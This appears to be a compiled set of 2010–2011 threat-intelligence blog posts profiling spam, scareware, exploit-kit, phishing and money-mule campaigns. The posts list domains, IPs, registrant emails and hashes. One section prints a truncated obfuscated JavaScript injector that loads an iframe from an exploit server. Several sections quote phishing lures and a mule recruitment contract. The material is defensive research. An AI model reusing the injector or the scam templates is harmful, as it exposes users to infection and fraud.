6.6.5 Dissecting

the

Exploits/Scareware

Serving

Twitter

Spam

Campaign

(2010-06-16 14:32)

[1]**Yesterday's exploits-serving campaign spreading across Twitter**, using automatically reg-

istered accounts "pinging" random Twitter users with links to the campaign, is worth profiling

due to its state of maliciousness - if the end user is exploitable, exploits are served ultimately

leading to scareware, and if he isn't, the cybercriminals behind it [2]**attempt to monetize**

through the same network used by the [3]**Koobface gang on Mac OS X hosts - zml.com**.

Let's dissect the campaign, and once again emphasize on the fact just how small the

cybercrime ecosystem could be, given enough historical data is gathered on who's who, who's

what, and what's when.

Sample exploitation structure:

- **qtoday.info /ttds/doit.php?ckey=12 &schema=1 &f=wF** - 94.228.209.73 (AS47869),

75.125.222.242 (AS21844)

- **qtoday.info /ttds/jump.php**

- **fqsmydkvsffz.com /tre/vena.html/RANDOM** - 69.174.242.21 (AS13768); 75.125.222.242

(AS21844)

3506

is.gd	/cQEby	0	text/html; c...
qtoday.info	/ttds/doit.php?ckey=12&schema=1&Q=tp	338	text/html
qtoday.info	/ttds/jump.php	5	text/html
zml.com	/?did=4848	0	
www.zml.com	/?did=4848	0	text/html
www.zml.com	/	118,269	text/html; c...

The scareware installed interacts with AS18866:

69.50.197.241 /up/e1.dat

69.50.197.241 /up/e2.dat

69.50.197.241 /data/upd6.dat

69.50.197.241 /data/upd7.dat

69.50.197.241 /data/upd1.dat

69.50.197.241 /data/upd2.dat

Responding to **69.50.197.241** (AS18866) are:

radarixo.com - Email: moldavimo@safe-mail.net - [4]**profiled here**

cyberduck.ru - Email: samm _87@email.com - [5]**profiled here**

livejasment.com - Email: moldavimo@safe-mail.net

linksandz.com - Email: moldavimo@safe-mail.net - [6]**profiled here**

Detection rates:

This isn't the first time Twitter's been abused for malicious purposes, and is definitely

not the last. Quick community response and take down actions hit them where it hurts most -

the monetization vector.

6.6.6 Sampling 419 Advance Fee Scams Activity (2010-06-17 16:25)

3513

Lottery Winning Notifications, Western Union payment notifications, dead relatives, advance

fee schemes impersonating law enforcement agencies - their arsenal of themes is endless,

their IPs, however, aren't, taking into consideration the fact that the majority of 419 scams

are not sent using botnets, but manually, and in a targeted fashion.

In fact, some of their spamming techniques ([1]**419 scammers using Dilbert.com**; [2]**419**

scammers using NYTimes.com 'email this feature') are so primitive compared to the financial

impact, a successful advance fee has in the long term, that their KISS (Keep it Simple Stupid)

mentality reflects the current situation within the cybercrime ecosystem - they all KISS it to

a certain extend - "[3]**Report: Malicious PDF files comprised 80 percent of all exploits for**

2009"; "[4]**Reports: SQL injection attacks and malware led to most data breaches**".

For the purpose of an experiment, and related reasons.

Here's a raw snapshot of some

419-ers that just kept popping up, over and over again.

Persistent 419 advance fee scammers (over the last 7 days), the originating IPs, and

the "reply to" email:

Nothing hurts as much as a decent historical OSINT regarding the activities of any cy-

bercriminal. Moreover, this historical OSINT not only contributes to a more efficient case

building, but also, helps to establish some pretty interesting connections within the cyber-

crime ecosystem. As practice and experience has shown, this very same ecosystem is not

necessarily as big as originally assumed.

Consider going through the related fraudulent schemes/malicious campaigns currently

taking advantage of FIFA's World Cup - [5]**Protection tips for the upcoming FIFA World Cup**

themed cybercrime campaigns.

6.6.7 Money Mule Recruiters Trick Mules Into Installing Fake Transaction Certificates

(2010-06-29 11:07)

What is more flattering than Ukrainian blackhat SEO gangs using name as redirectors, includ-

ing offensive messages, the Koobface gang redirecting Facebook's IP space to your blog, or a

plain simple danchodanchev admin panel within a Crime Pack kit?

It's the money mule recruiters who modify the HOSTS file of gullible mules to redirect

ddanchev.blogspot.com and **bobbear.co.uk** to 127.0.0.1. Now that's flattering, considering

the fact that my public money mule ecosystem related research represents a tiny percentage

of the real profiling/activities taking place behind the curtains.

6.7.2 Cybercriminals

SQL

Inject

Cybercrime-friendly

Proxies

Service

(2010-07-13 23:00)

Cybercrime ecosystem irony, at its best. Why the irony? Because the cybercrime-friendly

proxies service TOS explicitly states that its users cannot launch XSS/SQL injection attacks

through it.

A relatively low profile cybercriminal has managed to exploit a remote SQL injection within a

popular proxies service, offering access to compromised hosts across the globe for any kind of

malicious activities. Based on the video released, he was able to access everyone's password

as MD5 hash, next to the emulating of the users of the service, using a trivial flaw in the

online.cgi script.

Although his intentions, based on the note left in a **readme.txt** file featured in the video,

was to allow others to use the paid service freely, the potential for undermining the OPSEC of

cybercriminals using the service is enormous, as it not only logs their financial transactions,

keeps records of their IPs, but most interestingly, allows the "manual feeding" of proxy lists

(compromised and freely accessible hosts) within the database.

3519

The service itself, has been in operation since 2004, operating under different brands, with

prices starting from $20 to $90 for access to 150, and 1500 hosts on a monthly basis. Some

interesting facts from a threat intell/social network analysis perspective, including screenshots

(***on purposely blurred in order to prevent the ruining of important OSINT sources***)

of the service obtained from its help file.

• The gang/hacking/script kiddies team operates different business operations online

• They maintain a traffic purchasing program monetizing traffic through [1]**cybercrime-**

friendly search engines

• Whether they are lazy, or just don't care, 4 currently active adult web sites share the same

infrastructure as the service itself

• Although the original owners are Russian, they appear to be franchising since once of

their brands is offering their services in Indonesian, including a banner for what looks like

a Indonesian security conference.

• One of the Indonesian franchisers is known to have been offering root accounts and shells

at compromised servers for sale, back in 2007

** 17% liberty reserve exchange fee will be added to your payment

For years, compromised malware hosts has been widely abused for anything, from direct

spamming, to hosting spam/phishing and malware campaigns, but most importantly - to

engineer cyber warfare tensions by directly forwarding the responsibility for the malicious

actions of the cybercriminal/cyber spy to the host/network/country in question.

Not only do these tactics undermine the currently implemented data retention regula-

tions – how can you data retain something from a compromised ecosystem that keeps no logs

– but also, they offer a safe heaven for the execution of each and every

cybercriminal practice

there is.

6.7.3 Exploits, Malware, and Scareware Courtesy of AS6851, BKCNET, Sagade Ltd.

(2010-07-14 19:54)

Never trust an AS whose abuse-mailbox is using a Gmail account (**piotrek89@gmail.com**), and

in particular one that you've come across to during several malware campaigns over the past

couple of month. It's [1]**AS6851, BKCNET "SIA" IZZI** I'm referring to, also known as **Sagade Ltd**.

3524

Let's dissect the currently ongoing malicious activity at that Latvian based AS, expose the

exploit/malware/crimeware/scareware serving domain portfolios, sample some of the currently

active binaries and emphasize on the hijacking of Google/Yahoo and Bing search engines, as

well as take a brief retrospective of AS6851's activities profiled over the past couple of months.

What's so special about AS6851 anyway? It's the numerous times in which the AS popped-up

in previously profiled campaigns (**see related posts at the bottom of the post**), next to a pretty

interesting Koobface gang connection. [2]**An excerpt from a previous post**:

" *What's so special about [3]**AS6851, BKCNET "SIA" IZZI** anyway?*

It's the Koobface

*gang connection in the face of **urodinam.net**, which is also hosted within AS6851, currently*

*responding to **91.188.59.10**. More details on **urodinam.net**:*

• *[4]**Koobface Botnet's Scareware Business Model***

• *[5]**Koobface Botnet's Scareware Business Model - Part Two***

Moreover,

*on the exact same IP where Koobface gang's **urodinam.net** is parked,*

*we also have the currently active **1zabslwvn538n4i5tcjl.com** - Email:*

michaelty-

coon@gmail.com, serving client side exploits using the Yes Malware Exploitation kit -

The payment gateway structure + related domains for the scareware campaigns:

- **fast-payments.com/index.php?prodid = antus _02 _01 &afid =** - 91.188.59.27 - Email:

jclarke980@gmail.com

- **ns1.fastsecurebilling.com** - 91.188.59.26 - Email: jclarke980@gmail.com

- **easypayments-online.com** - 91.188.59.28 - Email: jclarke980@gmail.com

- **fast-payments.com** - 91.188.59.27 - Email: jclarke980@gmail.com

- **billingonline.net** - 91.188.59.29 - Email: kevbush@billingonline.net

- **billsolutions.net** - 91.188.59.25

In respect to the IPs used in HOSTS file modification, one is of particular interest -

89.149.210.109, as it was first profiled in November, 2009's "[21]**Koobface Botnet's Scare-**

ware Business Model - Part Two" with **MD5: 0fbf1a9f8e6e305138151440da58b4f1** modifying

HOSTS file using the same IP, and also phoning back to the Koobface gang's 1.0 hardcore C

&C - **urodinam.net/8732489273.php**

When it comes to cybercrime, there's no such thing as a coincidence.

What's static is

the [22]**interaction between the usual suspects**, systematically switching hosting providers,

introducing new domains, and [23]**conveniently denying their monetization tactics**.

You wish.

6.7.4 Sampling Malicious Activity Inside Cybercrime-Friendly Search Engines

(2010-07-15 17:44)

UPDATED, Friday, July 16, 2010 - Directi has suspended the domains portfolio of the cybercrime-

friendly search engines.

[1]**Cybercrime-friendly search engines** are bogus search engines, which in between visu-

ally social engineering their users, offer fake results leading to client-side exploits, bogus

video players dropping more malware, scareware, next to the pharmaceutical scams, and

domain farms neatly embedded with Google AdSense scripts for monetization.

In the majority of cases – whenever blackhat SEO is not an option – end users are exposed the

their maliciousness once they get infected with malware redirecting each and every request to

popular search engines such as Google, Yahoo and Bing to the malicious IPs/domains operated

by the cybercriminals.

As far as their monetization tactics are concerned, fellow cybercriminals are free to pur-

chase any kind of keyword they want to, for instance "spyware", make it look like the end user

is clicking on security-vendor.com's site, whereas upon clicking, based on his physical location

a particular type of malicious activity takes place.

Remember the HOSTS file modification taking place courtesy of the

malware at [2]**AS6851,**

BKCNET, Sagade Ltd. , and in particular the [3]**Koobface gang related IP 89.149.210.109**?

Sampling the malicious activity within the search engines parked/ forwarded (DNS recursion)

from this IP, results in client-side exploits, bogus video players dropping malware, and scare-

ware, and that in less than 5 minutes of testing.

The cybercrime-friendly domains in question:

searchclick1.com - Email: d.bond@mail.ru - 78.159.112.46 - AS28753

searchclick2.com - Email: d.bond@mail.ru - 78.159.112.46 - AS28753

searchclick3.com - Email: d.bond@mail.ru - 78.159.112.46 - AS28753

searchclick4.com - Email: d.bond@mail.ru - 78.159.112.46 - AS28753

searchclick5.com - Email: d.bond@mail.ru - 78.159.112.46 - AS28753

searchclick6.com - Email: d.bond@mail.ru - 78.159.112.46 - AS28753

3545

x

searchclick7.com - Email: d.bond@mail.ru - 78.159.112.46 - AS28753

searchclick8.com - Email: d.bond@mail.ru - 78.159.112.46 - AS28753

searchclick9.com - Email: d.bond@mail.ru - 78.159.112.46 - AS28753

searchclick10.com - Email: d.bond@mail.ru - 78.159.112.46 -

Amazon DELIVERS

amazon.com

Verify Your New E-mail Address

Dear

You recently changed your e-mail address at Amazon.com. Since you are a subscriber of Amazon.com Delivers E-mail Subscriptions, you will need to verify your new e-mail address.

Please verify that the e-mail address belongs to you. You can click on the link below to complete the verification process.

Confirm

Alternatively, you can type or paste the following link into your Web browser:
http://www.amazon.com

If you no longer wish to receive Amazon.com Delivers E-mail Subscriptions, you can unsubscribe here.

Please note that this message was sent to the following e-mail address:
Help | Conditions of Use | Privacy Notice © 1995-2006, Amazon.com, Inc or its affiliates.

6.7.5 Spamvertised Amazon "Verify Your Email", "Your Amazon Order" Malicious

Emails (2010-07-16 21:17)

And they’re back (Gumblar or RUmblar due to the extensive use of .ru domains) for a decent

start of the weekend - switching social engineering themes one more time, this time imper-

sonating **Amazon.com**

• **NOTE:** A summary of the malicious payload served will be posted at a later stage. Mean-

while, in order to facilitate quicker response, a complete list of the domains participating

will be featured/disseminated across the appropriate parties.

- **Sample subject:** *Amazon.com: Please verify your new e-mail address*

- **Sample message:** " *Dear email, You recently changed your e-mail address at Amazon.com.*

Since you are a subscriber of Amazon.com Delivers E-mail Subscriptions, you will need to

verify your new e-mail address. Please verify that the e-mail address email belongs to you.

You can click on the link below to complete the verification process. Alternatively, you can

type or paste the following link into your Web browser: http://www.amazon.com"

3553

Client-side exploitation is taking place through, for instance, **crystalrobe.ru:**

8080/in-

dex.php?pid = 14 and **hillchart.com: 8080/index.php?pid = 14**. As seen in previous campaigns,

this one is also sharing an identical directory structure, such as:

malicious-domain.com :8080/index.php?pid = 2

malicious-domain.com :8080/Notes1.pdf (Notes1-to-Notes10.pdf)

malicious-domain.com :8080/NewGames.jar

malicious-domain.com :8080/Games.jar

malicious-domain.com :8080/Applet1.html (Applet1-to-Applet10.html)

malicious-domain.com :8080/welcome.php?id = 6 &pid = 1 &hello = 503

crystalrobe.ru :8080/index.php?pid = 14

crystalrobe.ru :8080/jquery.jxx?v = 5.3.4

crystalrobe.ru :8080/new/controller.php

crystalrobe.ru :8080/js.php

3554

crystalrobe.ru :8080/welcome.php?id = 6 &pid = 1 &hello = 503

crystalrobe.ru :8080/welcome.php?id = 0 &pid = 1

6.7.6 Dissecting the Xerox WorkCentre Pro Scanned Document

Themed Campaign

(2010-07-19 20:26)

Over the weekend, a " *Scan from a Xerox WorkCentre Pro*" themed malware campaign re-

lying on zip archives, was actively spamvertised by cybecriminals seeking to infect gullible

end/corporate users.

What's particularly interesting about this campaign, is the cocktail of malware dropped

on infected hosts, including Asprox sample ([1] **Money Mule Recruiters use ASProx's Fast**

Fluxing Services), and two separate samples of Antimalware Doctor.

- **Sample subject:** *Scan from a Xerox WorkCentre Pro $9721130*

- **Sample message:** " *Please open the attached document. It was scanned and sent to you*

6.7.7 ZeuS Crimeware Serving 123Greetings Ecard Themed Campaign in the Wild

(2010-07-20 23:40)

Ubiquitous social engineering schemes, never fade away. ZeuS crimeware campaigners are

currently using a 123greetings.com ecard-themed campaign, in an attempt to entice users to

" *enjoy their ecard*".

Subject: " *You have received an Greeting eCard*"

Message: " *Good day. You have received an eCard*

To pick up your eCard, choose from any of the following options: Click on the following

link (or copy & paste it into your web browser): ***matt-levine.com / ecard.exe****; secondary*

URL offered: ***forestarabians.nl /ecard.exe*** *Your card will be aviailable for pick-up beginning*

for the next 30 days. Please be sure to view your eCard before the days are up! ***We hope***

you enjoy you eCard. *Thank You!* "

Detection rate:

- [1]**ecard.exe** - Cryp _Zbot-12; Trojan/Win32.Vundo - Result: 9/42 (21.43 %)

File size: 147968 bytes

MD5...: e6f3aa226bf9733b7e8c07cab339f4dc

6.8.2 Spamvertised Best Buy, Macy's, Evite and Target Themed Scareware/Exploits

Serving Campaign (2010-08-09 14:19)

They are back again (**[1] Spamvertised Amazon "Verify Your Email", "Your Amazon Order"**

Malicious Emails;

[2] Dissecting the Xerox WorkCentre Pro Scanned Document Themed

Campaign) for a fresh start of the week, with a currently ongoing spam campaign, serving

scareware and client-side exploits, using a " *Thank you for your payment*"/" *Thank you for your*

EXPRESS payment" themed subjects impersonating popular brands such as Best Buy, Macy's,

Target and Evite.

Let's dissect the campaign, its structure, emphasize on the monetization strategy, and

expose the complete portfolio of the domains involved in the campaign.

Sample email:

" *Subject :Thank you for your payment Don't miss a thing – Add support@e.macys.com to your*

email address book! Click here if you are unable to see images in this email.

1. Sign in on macys.com at https://www.macys.com/myinfo/index.ognc

2. Click on "My Account" – "My Profile" at https://www.macys.com/myinfo/profile/index.ognc

3. Uncheck the box Receive email notification when statements are available to view online

and when payments are due.

4. Click on "Update Profile"

5. Expect the change to take place in 3 days

©2009 macys.com Inc., 685 Market Street, Suite 800, San Francisco, CA 94105. All rights

reserved. "

Compared to previous campaigns, the directory structure (fast fluxed **:8080/index.php?pid=10**;

```
var Kkcifv3327mc;
function Ujupasc11wi(){

if (typeof(document.body) == 'object'){
clearInterval(Kkcifv3327mc);
}else{
return true;
}
Rbfy99bgjc = '';
Td15skl = ['src','h<e<imgmh9tz'.replace(/[z\<9mB]/g, ''), 'wBiadztzh('.replace(/[\(za\?B]/g, '')];
function B4gypea0r7(Q35af46gq,Uzmpyx6,Kg2j4qxd){
return Q35af46gq.setAttribute(Uzmpyx6,Kg2j4qxd);
}
function Vmbq7hlfckp(D1kjtzicc){
return document.createElement(D1kjtzicc);
}
Dvm3s2d1q = 'p';
Riyr73h9y = window.frames.length;
if (Riyr73h9y<20) Dvm3s2d1q = 'i;f?r|a?m>e?'.replace(/[\?\>;Z\|]/g, '');
Uy1m5qhmbg = 'US';
Btlwt0gl = '1255149731';
J8xra47qajoj = 'http://baymediagroup.com:8080/index.php?Gd6p9o4xg8mn=1&pid=1&Gd6p9o4xg8mn='+Riyr73h9y;
Ianrzofznm4g = 852832836;
Ko093rg = Vmbq7hlfckp('div');
Ko093rg.id = 'Fw241r4b';
Ko093rg.name = 'Fw241r4b';
Ianrzofznm4g -= 426416418*2;
document.body.appendChild(Ko093rg);
Mmu42rqfn = 'Ianrzofznm4g';
Wkifvli = new Array(J8xra47qajoj, Ianrzofznm4g,Ianrzofznm4g);
Ayj9u4mws61 = document.createElement(Dvm3s2d1q);
for (Yplugp5 in Td15skl){
```

maliciousurl.ru /QWERTY.js; maliciousurl.ru /ODBC.js; LAN.js; Access.js; End _User.js etc.)

of this one remains virtually the same, depending, of course, on the angle you choose for

dissecting it.

Sample campaign structure:

- **musicsgeneva.com /x.html** - " *PLEASE WAITING 4 SECOND...* "

- **opus22.org /x.html** - " *PLEASE WAITING 4 SECOND...* "

- **shamelessfreegift.com /x.html** - " *PLEASE WAITING 4 SECOND...* "

- **physicianschoiceonline.com /x.htm** - " *PLEASE WAITING 4 SECOND...* "

- **baymediagroup .com:8080/index.php?pid=10** - client-side exploits - 188.165.95.133;

188.165.192.106; 91.121.108.61; 94.23.60.106; 178.32.5.233 - Email: fb@bigmailbox.ru

- **hoopdotami.cz .cc/scanner5/?afid=24** - 188.72.192.229 - scareware monetization

- Detection rate:

antivirus _24.exe - [3]Trojan.Win32.FraudPack.berq - Result: 16/42 (38.1 %)

6.8.3 Dissecting a Scareware-Serving Black Hat SEO Campaign Using Compromised

.NL/.CH Sites (2010-08-13 17:09)

Over the past week, I've been tracking – among the countless number of campaigns currently

in process of getting profiled/taken care of internally – a blackhat SEO

campaign that’s persis-

3585

302	HTTP	.ch		0	text/html
302	HTTP	dotyuzcifl.ru	/liqj?st=	0	text/html; c...
302	HTTP	errgxhxzerr.co.cc	/r/feed.php?k=	0	text/html; c...
302	HTTP	errgxhxzerr.co.cc	/tube/?k=	0	text/html; c...
302	HTTP	errgxhxzerr.co.cc	/r/sss.php	95	text/html; c...
302	HTTP	www4.protection-guard89.co.cc	/?p=p52dc	1,216	text/html
200	HTTP	www1.virus-detection51.co.cc	/?p=p52dcWpsc	915	text/html
200	HTTP	www1.virus-detection51.co.cc	/9a7ce1a892bc4	27,496	application/...
200	HTTP	www1.virus-detection51.co.cc	/Layouts/Landings/CentralLandings/9/images/list/bottom_bg.gif	5,095	image/gif
200	HTTP	www1.virus-detection51.co.cc	/Layouts/Landings/CentralLandings/9/images/list/all_vert.gif	35,297	image/gif
200	HTTP	www1.virus-detection51.co.cc	/Layouts/Landings/CentralLandings/9/images/list/bottom_top.gif	6,245	image/gif
200	HTTP	www1.virus-detection51.co.cc	/Layouts/Landings/CentralLandings/9/images/list/popup_bg.gif	5,867	image/gif
200	HTTP	www1.virus-detection51.co.cc	/Layouts/Landings/CentralLandings/9/images/list/scroll.gif	1,840	image/gif

tently compromising legitimate sites within small ISPs in the Netherlands and Switzerland, for

scareware-serving purposes.

Although this beneath the radar targeting approach is nothing new, it once again emphasizes

on a well proven mentality within the cybercrime ecosystem - collectively the hundreds

of thousands of low profile sites, if well poisoned with bogus/timely/ relevant blackhat SEO

content, can outpace the hijacked traffic from a high profile site due to the shorter time frame

it would take for the the administrators to clean it up/ quicker community members’ reaction

based on prioritization due to the importance of the site.

What’s particularly interesting about the campaign, is the fact that the redirectors/scareware

domains were previously parked within our "dear friends at **AS31252, STARNET-AS StarNet**

Moldova. Go through related posts on STARNET-AS StarNet Moldova:

• [1]**Koobface Redirectors and Scareware Campaigns Now Hosted in Moldova**

• [2]**Dissecting Koobface Gang’s Latest Facebook Spreading Campaign**

• [3]**Koobface Gang Responds to the "10 Things You Didn't Know About the Koobface Gang**

Post"

• [4]**From the Koobface Gang with Scareware Serving Compromised Sites**

Let's dissect the campaign, expose the complete portfolio of scareware/redirector domains,

emphasize on the monetization vector and how this blackhat SEO campaign is using the same

scareware affiliate network like the one campaigns launched through Gumblar's infrastructure

([5]**Spamvertised Best Buy, Macy's, Evite and Target Themed Scareware/Exploits Serving**

Campaign) continue using.

Once the **self.location.href** = condition is met, the following redirectors take place, until

the user is exposed to the ubiquitous "You're infected" screen:

www2.mypersonalshield71.in - Email: gkook@checkjemail.nl

www2.mypersonalshield72.in - Email: gkook@checkjemail.nl

It gets even more interesting, and cybercrime ecosystem-friendly, when we see that one of

the scareware redirector domains, has been registered with the same email as the scareware

domain redirector used in the monetization vector of Gumblar's campaigns.

The currently used **uramozat.cz.cc /scanner10/?afid=76** - 195.16.88.62, AS50109, HOSTLIFE-

AS WIBO PROJECT LLC - Email:

ydeconspi@nice-4u.com is registered using the same

email as the recently used **hoopdotami.cz .cc/scanner5/?afid=24** - 188.72.192.229 - Email:

ydeconspi@nice-4u.com from the "[7]**Spamvertised Best Buy,**

Macy's, Evite and Target

Themed Scareware/Exploits Serving Campaign".

This centralization of monetization networks ultimately serves best the security industry

and law enforcement, and remains a trend rather than a fad.

Responding to 195.16.88.62 are also the following affiliate redirector domains:

sulphomihin.cz.cc - Email: ydeconspi@nice-4u.com

suppcorfoke.cz.cc - Email: ydeconspi@nice-4u.com

Blackhat SEO campaigns, migration from the Koobface-friendly **AS31252, STARNET-AS StarNet**

Moldova, plus a direct connection established as once a customer is migrating, he's usually

taking all of his dirty luggage with him, proves that, there's no such thing as coincidence within

the cybercrime ecosystem, there's just a diverse infrastructure where everyone appears to

be self-serving their needs as a service, consequently forwarding responsibility for someone

else's actions to the infrastructure they are abusing.

6.9.1 Historical OSINT: Celebrities Death, Fedex Invoices, Office-Themed Malware

Campaigns (2010-09-08 21:07)

[1]**As promised**, this would be a pretty short historical OSINT post – catching up is in progress –

detailing the structure of several campaigns that took place throughout July-August, 2010, and

(as always) try to emphasize on the connection with historical malware campaigns profiled on

my personal blog.

Campaigns of notice include:

spamvertised " *Celebrities death-themed emails*", " *Fedex*

shipment status themed invoices", and " *Office-themed documents*".

Sample subjects:

Angelina Jolie died; Gwen Stefani died; Oprah Winfrey died; Tom Cruise died; Application;

Thursday Journal Club; End Of Rotation; Abstracts; Project Declaration; Residency Happy Hour:

SOP _POLICIES; Fwd: Updated Journal Club Handout

Sample attachments:

journal club articles.zip; Rotation Input Sheet.zip; ppi and c dif.zip; MSpeck.zip; Residen-

cyPrep.zip; speck Case presentation draft.zip; journal club template.zip

Detection rates, phone back URLs, and connections with previously profiled campaigns:

- [2]**news.exe** - Trojan.Bredolab-993 - 40/ 43 (93.0 %)

MD5: 44522def7cf2a42aa26f59c2ac4ced58

SHA1: 2f60531b6e33d842eba505f3c3cb81a3ff6e3e6a

- [3]**journal club articles.exe** - Backdoor/Bredolab.edb - 41/ 43 (95.3 %)

MD5: 72e90fd1264e731109d1b6b977b2c744

SHA1: 0a36b882d1b4d8b42cc466ec286e95bbb2e77d49

Upon execution, the samples phone back to:

188.65.74.161 /mrmun _sgjlgdsjrthrtwg.exe - AS42473 - DOWN

194.28.112.3 /outlook.exe - AS48691 - ACTIVE

- [4]**outlook.exe** - TrojanSpy:Win32/Fitmu.A - 17/ 43 (39.5 %)

MD5: 8f4eca49b87e36daae14b8549071dece

SHA1: 1d390e9f8d6e744ead58dd6c424581419f732498

Upon execution, the dropped sample phones back to:

cuscuss.com - 188.65.74.164 - Email: info@blackry.com

Responding to 188.65.74.164 at AS42473 are also:

wiggete.com - Email: info@blackry.com

depenam.com - Email: info@blackry.com

fishum.com - Email: info@blackry.com

blackry.com - Email: info@blackry.com

Two of the domains are know to have been serving client-side exploits, but the redirec-

tion is currently returning an error " *Connect to 188.40.232.254 on port 80 ... failed*".

7.1.3 Spamvertised "Your password has been stolen!" Malware Campaign Circulat-

ing (2011-01-26 20:30)

A currently ongoing spamvertised campaign, attempts to impersonate the most popular social

networking site, Facebook.

Using a well proven "Your password has been stolen!" theme, the campaign entices the

end user into downloading and executing the malware. Social engineering-driven campaigns

targeting Facebook, remain among the popular malware campaign spreading techniques due

to the ease of execution.

Subject: Facebook Support. Your password has been stolen! ID50888

Message: *Good afternoon.*

A Spam is sent from your FaceBook account.

Your password has been changed for safety.

Information regarding your account and a

new password is attached to the letter.Read this information thoroughly and change the pass-

word to complicated one. Please do not reply to this email, it's automatic mail notification!

Thank you for your attention. Your Facebook!

7.1.4 Keeping Money Mule Recruiters on a Short Leash - Part Five (2011-01-31 12:58)

With money mule recruitment continuing to represent the most actively used risk-forwarding

tactic within the cybercrime ecosystem for the purpose of securely distribution fraudulently

obtained funds, part five of the " **[1] Keeping Money Mule Recruiters on a Short Leash**" series

are here to stay.

What's particularly interesting about the money mule recruitment domain portfolio that

I'll expose, is the logical progression from bogus companies offering financial services, to a

diverse set of companies occupying multiple markets/covering different market segments.

- **Current trends - Localization and standardization/template-tization**

A great example of this trend – largely driven by the [2]**standardization and template-zation of**

money mule recruitment sites as a service- is **Schwartz & Brothers LLC** (**schwartz-brothers.cc**).

" *Schwartz & Brothers LLC is the first choice for artists and buyers alike!*

Schwartz &

Brothers LLC is an effective tool for the artist and emerging artist to market and promote their

art in a professional and inexpensive manner. We will market your art to the international

community of art buyers. Whether you are looking to buy or sell original art, Schwartz &

Brothers LLC is the premier art site for those seeking to buy or sell original art online. "

Time start: 16:40:28 Time elapsed: 00:04:51

Are you an Australian citizen?

Answer choices

- (•) I am a resident of the AU
- ( ) I am student willing to get a part-time job.
- ( ) I am not a resident of the AU and currently I am looking for a part-time job.

Next >> Close

Pre-employment test made by © 2010 Psychtests AIM Inc. All Rights Reserved

From financial services to an entirely new market segment, whereas the entire recruitment

process remains pretty static, excluding several time quality assurance oriented details. For

instance, every potential mule is required to download a entry level job psychological test,

which surprisingly asks directly whether the mule is from Australia, next to automatically

choosing Australia as a country of origin at a later stage throughout the registration process.

Moreover, in the context of quality assurance, the recruiters also ask the applicant " *Are*

you/were you convicted? " in an attempt to combine the survey results with other details such

the opening date of the bank account, as well as the average daily/ weekly/monthly amount

transferred.

" *DUTIES:*

The Contractor undertakes the responsibility to receive payments from the Clients of the

Company to his personal bank account, withdraw cash and to process payments to the

Company's partners by Western Union or MoneyGram money transfer system within one (1)

day. He/she will report directly to the senior manager and to any other party designated by

the senior manager in connection with the performance of the duties under this Agreement

and shall fulfill any other duties reasonably requested by the Company and agreed to by the

Contractor.

CONFIDENTIALITY:

The Contractor acknowledges that during the engagement he will have access to and be-

come acquainted with various trade secrets, inventions, innovations, processes, information,

records and specifications owned or licensed by the Company and/or used by the Company

in connection with the operation of its business including, without limitation, the Company's

business and product processes, methods, customer lists, accounts and procedures.

The Contractor agrees that he will not disclose any of the aforesaid, directly or indirectly,

or use any of them in any manner, either during the term of this Agreement or at any time

thereafter. All files, records, documents, blueprints, specifications, information, letters, notes,

media lists, original artwork/creative, notebooks, and similar items relating to the business of

the Company, whether prepared by the Contractor or otherwise coming into his possession,

shall remain the exclusive property of the Company.

The Contractor shall not retain any copies of the foregoing without the Company's prior

written permission. The Contractor further agrees that he will not disclose his retention as

an independent contractor or the terms of this Agreement to any person without the prior

written consent of the Company and shall at all times preserve the confidential nature of his

relationship to the Company and of the services hereunder.

If the Contractor releases any of the above information to any parties outside of this

company, such as personal friend, close relatives or other Financial Institutions such as a Bank

or other Financial Firms, such could be considered grounds for immediate termination. If the

Contractor is ever in doubt of what information can be released and when, the Contractor will

contact their superior right away.

TERMS OF ENGAGEMENT:

The Contractor is engaged by the Company on terms of thirty-days (30) probationary period.

During the probationary period the Company undertakes to pay to the Contractor

the base salary amounting to AUD 2300 per month plus 8 % commission from

each payment processing operation. After the probationary period the Company

agrees to revise and raise the base salary to 3000 USD. *The Company has the right*

to cancel this Agreement at any time within the probationary period or refuse to extend it

after that, should the Contractor refuse to fulfill his/her obligations under this Agreement or

fulfills them not in good faith.The Contractor has the right to terminate the Agreement at any

time on condition that he/she has processed all previous payments and has no new instructions.

COMPENSATION:

The Company undertakes to pay taxes accrued in connection with money transfer.The

Company shall also reimburse part of expenses which are incurred in connection with money

transfer by Western Union or MoneyGram systems (should money transfer charges exceed 3

%, i.e. commission for payment processing operation).The above difference will be automat-

ically added to the base salary of the Contractor and paid once per month together with the

base salary.

The Company shall have the right to decrease the Contractor's commission in case the

payment processing terms were violated by the Contractor. Should the Contractor delays

re-sending money accepted to his bank account for the period exceeding one (1) day without

any explicit reason, the Company shall have the right to impose sanctions on the Contractor

if only the delay has not been caused by the Force Majeur circumstances and to apply to

the arbitration and claim for the reimburse of the amount transferred to his

account or for

compensation for other damage if any, evicted due to the delay.

The Contractor may take days off at any time and at his/her option upon giving five (5)

working days advance notice in writing or three (3) working days advance notice via e-mail or

fax to the Company in order that the latter may abstain from charging the Contractor with new

instructions. However, salary for each day-off is deducted from the Contractor's base salary. "

- **OSINT data for money mule recruitment sites**

3611

The following portfolio of money mule recruitment domains appears to have been registered

using automated email registration tools, with the potential for [3]**CAPTCHA outsourcing**

clearly considered by the malicious parties, taking into consideration the even decreasing

price for solving CAPTCHA challenges.

- **Long term trends - "from mule inventory to transactions inventory"**

With the [4]**localization and standardization/template-tization of the entire money mule**

recruitment process an every day's reality, quality assurance and

diversification of the

markets/market segments in order to increase the probability of successful social engineering

attack, will start taking place. Moreover, the current template driven recruitment ecosystem

will inevitably start taking advantage of basic concepts such as geolocation and content

3614

cloaking, in order to once again increase the probability for converting a web site visitor into

a mule.

At an invite-only conference that I attended in September, 2010, someone from the au-

dience asked me a rather interesting question. Does it really matter how many mules are

recruited by a particular syndicate, and most importantly, can we talk about average number

of days/weeks/hours by the time the mule gets busted, and can no longer offer his/her services?

In the long term, we're inevitably going to witness the migration from building invento-

ries of mules to transaction-driven mule recruitment model where the capability-driven

mentality surpasses the mule inventory building one. The number of possible transactions

with success rates based on historical performance, combined with an infinite loop of recruit-

ment is what will drive the entire mule recruitment ecosystem.

- Long term trends - "from mule inventory to transactions inventory"

With the [4]**localization and standardization/template-tization of the entire money mule**

recruitment process an every day's reality, quality assurance and diversification of the

markets/market segments in order to increase the probability of successful social engineering

attack, will start taking place. Moreover, the current template driven recruitment ecosystem

will inevitably start taking advantage of basic concepts such as geolocation and content

cloaking, in order to once again increase the probability for converting a web site visitor into

a mule.

At an invite-only conference that I attended in September, 2010, someone from the au-

dience asked me a rather interesting question. Does it really matter how many mules are

